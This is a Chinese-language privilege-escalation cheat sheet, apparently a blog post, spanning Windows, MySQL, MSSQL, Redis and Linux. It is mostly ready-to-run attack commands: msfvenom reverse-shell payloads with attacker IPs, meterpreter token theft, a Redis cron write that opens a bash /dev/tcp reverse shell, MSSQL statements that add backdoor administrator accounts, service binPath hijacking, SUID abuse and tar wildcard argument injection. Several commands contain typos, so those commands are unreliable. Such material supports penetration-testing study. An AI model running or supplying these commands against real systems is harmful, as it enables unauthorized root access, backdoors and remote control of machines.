权限提升

1. windows的常用cmd命令

systeminfo   打印系统信息
whoami   获得当前用户名
whoami /priv   当前账户权限
ipconfig   网络配置信息
ipconfig  /displaydns   显示DNS缓存
route print   打印出路由表
arp -a     打印arp表
hostname     主机名
net user     列出用户
net user UserName   关于用户的信息
net user \SMB PATH Pa$$wOrd/u:userName 连接SMB 
net localgroup   列出所有组
net localgroup GROUP   关于指定组的信息
net start    列出启动的服务 
net view  \127.0.0.1会话打开到当前计算机
net session 开放给其他计算机
netsh firewall show config 显示防护墙配置
driverquery 列出安装的驱动
tasklist /svc 列出服务任务
dir /s foo 在目录中搜索包含指定字符的项
sc query 列出所有服务
sc qc ServiceName 找到指定服务的路径
shutdown  /r  /t 0    立刻重启
type file.txt     打印出内容
icacls  "C:\Example"    列出权限

2. 系统漏洞提权

  • 信息收集-补丁筛选
  • 利用 MSF 或特定 EXP执行提权操作
  • windows漏洞检测平台----WindowsVulnScan

exp利用平台
● msf
https://github.com/SecWiki/windows-kernel-exploits

3. 本地提权--AT&SC&PS&令牌窃取&进程注入

3.1 at指令提权

提权思路: 用at指令打开的cmd窗口的身份是system权限

at 21:26 /interactive cmd.exe   //在21:26打开cmd窗口
at  //查看作业详情
at /del //删除作业

3.2 sc提权

提权思路: 用sc指令创建服务, 运行的程序是以system权限运行

 # sc命令创建一个syscmd的服务,绑定binPath的路径(以cmd打开)
 sc Create syscmd binPath= "cmd /K start" type= own type= interact

3.3 通过pstools工具提权

提权思路:pstools是微软官方为windows提供的第三方工具库,通过该工具包中的psexec.exe程序可以实现提权
针对Windows2008

psexec.exe -accepteula -s -i -d cmd.exe 

3.4 本地提权--令牌窃取

条件: Windows2008&Windows7

注: 可通过烂土豆实现从web权限提升到系统权限
烂土豆在meterpreter中的运行命令meterpreter>execute -cH -f ./potato.exe

1. 生成木马. 其中lhost和lport可以理解为攻击机的ip地址和端口号
 msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.1.1.3 LPORT=5555 -f exe > shell.exe
2. 本地执行木马,反弹meterpreter会话, 利用incognito模块令牌窃取
    meterpreter> use incognito   # 使用incognito模块
    meterpreter> list_tokens -u  #列举所有令牌
    meterpreter> impersonate_token "NT AUTHORITY\SYSTEM"  # 窃取令牌

3.5 Windows2003&10进程注入提升

pinjector进程注入工具
将一个低权限进程注入到一个高权限的进程中,从而获得高权限进程的高权限,实现提权

3.6 DLL劫持

Windows 程序(exe)启动的时候需要 DLL库的支持。如果这些 DLL 不存在,则可以通过在应用程序要查找的位置放置恶意 DLL 来提权。通常,Windows 应用程序有其预定义好的搜索 DLL 的路径,它会根据下面的顺序进行搜索:1、应用程序加载的目录;2、C:\Windows\System32;3、C:\Windows\System;4、C:\Windows;5、当前工作目录 Current Working Directory,CWD;6、在 PATH 环境变量的目录(先系统后用户). 我们可以通过分析某个软件所加载的dll文件, 用恶意的dll文件去替换正常的dll文件,从而实现权限提升

1. 下载dll分析软件如火绒剑,PChunter, 分析应用所需要加载的dll文件,找到一个可以操作的dll文件
2. 用msf生成dll后门: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.17.135 LPORT=7777 -f dll > shell.dll
3. 覆盖正常的的dll文件,下次应用重启时将会执行此恶意dll文件

1.dll程序要能替换(就是程序的文件夹内包含dll)
2.管理员要启动程序
3.装有第三方软件

3.7 不带引号服务路径提权

当 Windows 服务运行时,会发生以下两种情况之一。如果给出了可执行文件,并且引用了完整路径,则系统会按字面解释它并执行。但是,如果服务的文件路径未包含在引号中并且路径中存在空格,则操作系统将会执行找到的空格分隔的服务路径的第一个实例

查看服务路径是否带引号命令: system32>wmic service get name,displayname,pathname,startmode | findstr /i "Auto"

如有一个服务a.exe,他的可执行文件的路径是“C:\Program Files\a.exe”,路径被包含在引号中,则系统会正常解释并执行它,没有安全问题; 但是如果没有加引号,如C:\Program Files\a.exe, 就会被解释为C:\Program程序,Files\a.exe为参数

可以生成一个C:\Program程序木马放在C:\路径下,从而实现服务重启时提权

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.17.135 LPORT=7777 -f exe -o Program.exe

3.8 不安全的服务配置提权

当我们对某个服务有完全控制权时, 我们就可以通过改变服务对应的二进制文件执行木马文件, 或者直接执行cmd命令, 因为通过服务运行的程序默认是以系统权限运行,从而实现权限提升
检查能够操作的服务:
工具: https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk
accesschk.exe -uwcqv "administrators" *
对可以操作的服务进行配置修改

sc config spooler binPath= "net user emxiai 12345 /add" #执行恶意命令或者替换成恶意木马路径

4. 数据库提权

4.1 mysql数据库提权

流程:服务探针-信息收集-提权利用-获取权限
namp探测主机操作系统、端口服务,版本信息(nmap -sV -O ip)

  • UDF提权:(原理:自定义mysql函数去执行系统命令)
1. select version():查看版本 
2. select @@basedir : 查看mysql安装目录
3. 手工创建 plugin 目录或利用 NTFS 流创建
    -1.mysql<5.1 导出目录: c:/windows 或 system32
    -2.mysql=>5.1 导出到: 安装目录/lib/plugin/(Linux也一样)
      # 使用ntfs流创建: select 'x' into dumpfile '目录/lib/plugin::INDEX_ALLOCATION';
4. 使用提权大马导出dll文件到plugin目录
  • mof提权
    原理:(在c:/windows/system32/wbem/mof/nullevt.mof)其作用是每隔五秒就会去监控进程创建和死亡。
    我们可以通过mysql的读写文件权限,将恶意代码写入到nullevt.mof文件中,从而以系统权限去执行恶意代码.
select load_file('C:\phpstudy\PHPTutorial\WWW\user_add.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof'; 
'C:\phpstudy\PHPTutorial\WWW\user_add.mof'中就是要执行的恶意代码

4.2 MSSQL数据库提权

  • 使用xp_cmdshell进行提权

xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则是默认禁止的,如果用户拥有管理员sa权限则可以用sp_congifgure重新开启它

启用:
EXEC sp_configure 'show advanced options',1 ;
Reconfigure;
EXEC sp_configure 'xp_cmdshell',1;
关闭;
EXEC sp_configure 'show advanced options',1;
reconfigure;
exec sp_config 'xp_cmdshell',0;
reconfigure;
执行;
exec master.dbo.xp_cmdshell '命令'

如果xp_cmdshell被删除了,可以上传xplog70.dll恢复
exec master.sys.sp_addextendeproc 'xp_cmdshell','c:\ProgramFiles\Microsoft SQL server\MSSQL\Binn\xplog70.dll'

  • 使用sp_oacreate提权
    主要用来调用OLE对象,利用OLE对象的run方法执行系统命令。
启用:
EXEC sp_configure 'show advanced options' ,1;
Reconfigure with override;
EXEC sp_configure 'Ole Automation Procedures',1;
Reconfigure with override;
关闭:
EXEC sp_configure 'show advanced options' ,1;
Reconfigure with override;
EXEC sp_configure 'Ole Automation Procedures',0;
Reconfigure with override;
执行:
delare @shell int exec sp_oacreate 'wscript.shell',@shell
output exec sp_oamethod @shell ,'run',null,'c:\windows\system32\
cmd.exe /c whoami >c:\\1.exe'
  • 使用SQL server沙盒提权
参考资料:https://blog.51cto.com/11797152/2411770
-提权语句
exec sp_configure 'show advanced options',1;reconfigure;
 
-- 不开启的话在执行xp_regwrite会提示让我们开启
exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure;
 
--关闭沙盒模式,如果一次执行全部代码有问题,先执行上面两句代码。
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;
 
--查询是否正常关闭,经过测试发现沙盒模式无论是开,还是关,都不会影响我们执行下面的语句。
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode'
 
--执行系统命令
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user margin margin /add")')
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net localgroup administrators margin /add")')
 
沙盒模式SandBoxMode参数含义(默认是2)
`0`:在任何所有者中禁止启用安全模式
`1`:为仅在允许范围内
`2`:必须在access模式下
`3`:完全开启
openrowset是可以通过OLE DB访问SQL Server数据库,OLE DB是应用程序链接到SQL Server的的驱动程序。
 
--恢复配置(暂不执行)
--exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1;
--exec sp_configure 'Ad Hoc Distributed Queries',0;reconfigure;
--exec sp_configure 'show advanced options',0;reconfigure;

4.3 Oracle数据库提权- 自动化工具(Oracleshell)

4.4 Redis提权

  • redis权限提升--计划任务
1. 连接redis:

    redis-cli -h IP地址(如果是本地数据库填127.0.0.1)

2. 执行提权命令-反弹bash:

    set x "\n* * * * * bash -i >& /dev/tcp/监听IP地址/端口号 0>&1\n"

    config set dir /var/spool/cron/

    config set dbfilename root

    save 

4.5 postgresql提权

  • CVE-2018-1058
  • CVE-2019-9193

5. Linux提权

5.1 信息收集

  • 操作系统版本、内核
  • 环境变量可能存在的密码、api密钥、
  • 有那些应用、那些服务、权限方面、配置方面、计划任务方面
  • 网络信息(那些与主机通信(进行内网渗透)、DNS/DHCP)
  • 敏感文件读取

自动化收集工具: LinEnum; linuxprivchecker;

5.2 Linux 提权之SUID

  • 漏洞成因:chmod u+s给与了suid;chmod u-s删除了suid, 关注命令:
    nmap、vim、find、bash、more、less、nano、cp
  • 本来是普通用户执行普通程序,但是一旦给了程序suid权限,程序在运行中就会以root 权限执行,从而提升权限。
  • 提权过程: 探针是否有SUID(手工或脚本)-利用特定SUID提权
手工探测:
find / -user root -prem -4000 -print 2>/dev/null
find / -prem -u=s -type f 2>/dev/null
find / -user root -prem -4000 -exec ls -ldb { } \;

如果find拥有suid权限,可以使用以下命令提权

touch xiaodi
find / xiaodi -exec "whoami" \;

5.3 Linux配合内核漏洞本地提权

  • 提权过程:连接-获取可利用漏洞-下载或上传EXP-编译EXP-给权限执行
  • 上传漏洞探针linux-exploit-suggester2并执行,发现了可能被利用的漏洞
  • 访问他的url,将exploits改为download获取exp,进行编译运行
  • 利用msf搜索相关漏洞直接利用

3.4 Linux定时任务提权

1. 路径问题: 写定时任务时没有写绝对路径, 写的是相对路径, 我们可以覆盖相对路径的文件, 因为可能相对路径可能有写入权限, 而绝对路径我们可能没有权限.

# 查看定时任务
cat /etc/crontab  
发现存在相对路径定时任务 : 1 * * root test.sh
# 将我们需要执行的恶意指令写到同名的一个文件中
echo 'cp /bin/bash /tmp/bash;chmod +s /tmp/bash' > /home/xiaodi/test.sh
# 给予执行权限
chmod +x /home/xiaodi/test.sh
# 当调用我们写的同名文件时, 将会得到一个具有root权限的bash
/tmp/bash

2. 命令问题: 在定时任务中, 在使用tar命令打包时, 打包文件写成通配符*, 通过构造参数名称的文件名实现提权.

# 定时备份不安全写法
tar czf /tmp/backup.tar.gz *
# 构造恶意文件test.sh
echo 'cp /bin/bash /tmp/bash;chmod +s /tmp/bash' > /home/undead/script/test.sh
# 构造参数名称的文件
echo " " > "--checkpoint-action=exec=sh test.sh"
echo " " >--checkpoint=1
# 在执行备份命令时, 执行情况如下:
tar czf /tmp/backup.tar.gz --checkpoint=1 --checkpoint-action=exec=sh test.sh 
其中--checkpoint、--checkpoint-action文件当做了tar命令的参数导致恶意代码执行

3. 不安全权限分配问题: 一般情况我们没有权限操作定时任务, 但是在定时任务中, 存在不安全的权限分配操作,如chmod 777 775等操作,可能导致的定时任务被覆盖

环境变量&数据库

©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容